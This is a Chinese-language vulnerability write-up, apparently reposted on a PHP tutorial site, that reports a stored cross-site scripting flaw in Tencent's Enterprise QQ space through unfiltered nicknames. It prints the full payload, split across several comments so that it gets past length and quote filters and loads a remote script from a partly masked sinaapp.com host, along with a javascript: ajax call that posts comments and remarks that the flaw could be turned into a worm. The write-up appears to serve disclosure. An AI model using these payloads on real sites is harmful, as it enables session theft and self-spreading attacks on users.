来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 业QQ空间新闻详细页面一处跨站,对QQ昵称没有过滤且储存当前昵称造成跨站,貌似腾讯在修复.结合页面上一些功能可蠕动.下面是突破代码.重点:1. 突破长度限制2. 突破单双引号过滤...
业QQ空间新闻详细页面一处跨站,对QQ昵称没有过滤且储存当前昵称造成跨站,貌似腾讯在修复.结合页面上一些功能可蠕动.下面是突破代码.
重点: 1. 突破长度限制 2. 突破单双引号过滤 3. 注释原文的一些标签 漏洞发现过程.昨天回家蛋疼想去网吧.刚上没多久有个叫(婼瑶美800017570)企业QQ就加我为了好友。哥很是生气.他怎么会知道我QQ的.一直郁闷到回家.回家后打开抓包打开他企业空间--登录.这时抓包发现企业QQ页面的一键登录有个跳转页.里面返回的居然是完全没有过滤的QQ号昵称.当时只是想这里只能弹自己.一转念好不容易挖到个洞,哪能这样放过喃.接下来翻了下企业QQ功能居然有发表评论的.于是带领xss的QQ 昵称立即发表一条评论.果然弹了,很明显储存的.接下来的就是看这昵称是联表查的还是直接储存的.测试结果很乐观.可能开发人员出于性能考虑.此处昵称是同步QQ昵称后储存下来的。 剩下的就是测试回复的过滤情况.这里看似简单.实际上缺少经验的我,是把跨站流程都写好了才想到要测试内容部分的过滤情况.白白浪费了一个小时.苦逼的是之前写的绕过全浪费了.最后发现单双引号都被过滤了.泪奔啊. 下面是最终代码.结合其页面的功能可以做个蠕动. 由于这里的留言是最新的排上面所以js要倒着写 最后一步改QQ昵称发表后得到如下 www.2 <script>/* 2012.08.15 00:51</p> 评论内容 倒数第二改QQ昵称发表后得到如下 */a="script";/* 2012.08.15 00:51</p> 评论内容 倒数第三步改QQ昵称发表后得到如下 */b='http://nxxx';/* 2012.08.15 00:51</p> 评论内容 倒数第四步改QQ昵称发表后得到如下 */c='.sinaapp.com';/* 2012.08.15 00:51</p> 评论内容 倒数第5步改QQ昵称发表后得到如下 */d='/bqq.php';/* 2012.08.15 00:51</p> 在回复中把拼接绕过单双引号和QQ昵称长度限制*/e=document.createElement(a);e.src=b+c+d;document.body.appendChild(e);/* 倒数第6步 */</script> 中间会有1-2次由于js不完全会导致错误.不能打开评论输入框,结合企业QQ空间自己的jquery新闻本页面的浏览器地址栏javascript伪协议绕过来路和各种检测. nid 是当前文章编号content是发送内容 javascript:$.ajax({url: '/CreateComment.html', type: 'POST', dataType: 'json',data: {nid:'109',content:'1'}}) 至此成功弹出. ps:tx的同学评论功能早上怎么关了. 漏洞证明: 最后一步<script>/* 2012.08.15 00:51</p> 内容 倒数第二 */a="script";/* 2012.08.15 00:51</p> 内容 倒数第三步 */b='http://nxxx';/* 2012.08.15 00:51</p> 内容 倒数第四步 */c='.sinaapp.com';/* 2012.08.15 00:51</p> 内容 倒数第5步 */d='/bqq.php';/* 2012.08.15 00:51</p> 在回复中把拼接绕过单双引号和QQ昵称长度限制*/e=document.createElement(a);e.src=b+c+d;document.body.appendChild(e);/* 倒数第6步 */</script> 修复方案: 过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com